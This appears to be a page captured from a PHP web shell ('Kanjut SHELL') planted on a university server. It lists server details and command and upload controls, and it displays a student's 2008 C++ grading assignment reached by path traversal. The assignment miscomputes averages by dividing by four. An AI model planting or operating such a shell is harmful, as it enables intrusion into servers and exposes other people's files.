Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.8.79
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/artucci/../cjabbott/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/artucci/../cjabbott/assign3.cpp
//	File name:	assign3.cpp
//	Author:		Christie Abbott
//	Instructor:	Dr. Wang
//	Due Date:	February 20, 2008
//	Compiling:	g++ assign2.cpp	
//	Execution:	./a.out
//	Goal: This program will read a students information.
//

#include <iostream>

using namespace std;

class Student
{
	string name;
	int tests[3];
	int age;
public:
	Student()
	{	name = "xxx xxx";
		age = 0; 
		tests[0] = 0; 
		tests[1] = 0; 
		tests[2] = 0;  
	}
	Student(string n, int a, int test1, int test2, int final)
        {       name = n; 
		age = a;
		tests[0] = test1; 
		tests[1] = test2; 
		tests[2] = final;  
	}
	void Set(string n, int a, int test1, int test2, int final)	
	{	name = n;
		age = a; 	
		tests[0] = test1; 
		tests[1] = test2; 
		tests[2] = final;  
	}
	int Age() const
	{	
		return age;
	}
	float avg() const	
	{	float t;
		t = (tests[0]+tests[1]+tests[2])/4.0;
		return t;
	}
	char Grade() const
	{	if( avg() >= 90 )
			return 'A';
		else if( avg() >=80 )
			return 'B';
		else if( avg() >=70 )
			return 'C';
		else if( avg() >=60 )
			return 'D';
		else if( avg() <=59 )
			return 'F';

	}
	void Print() const
	{	cout << "Name: " << name << endl;
		cout << "Age: " << age << endl;
		cout << "3 tests: " << tests[0] << ", " << tests[1] << ", "
			<< tests[2] << endl;
		cout << "Avg: " << avg() << endl; 
		cout << "Grade: " << Grade() << endl;  
	}
};

int main()
{
	Student me;	
	string n; 
	char dummy;
	int test1, test2, final; 
	int a;
	float class_avg = 0; 
	int class_size = 0;
	int class_age = 0;
	

	getline(cin, n);	
	while(cin)
	{
		cin >> a;
		cin >> test1 >> test2 >> final;
		me.Set(n, a, test1, test2, final);
		cout << "\n---------\n\n";
		me.Print();
		cout << "\n---------\n\n";
		class_avg += me.avg();		
		class_size ++;
		class_age += me.Age();

		cin.get(dummy);         
		getline(cin, n);
	}
	cout << "Class average: " << class_avg << endl;
	cout << "Class size: " << class_size << endl;
	cout << "Class age: " << class_age << endl;
	cout << "\n\nDone.\n\n\n";
	return 0;
}



Stv3n404 - 2023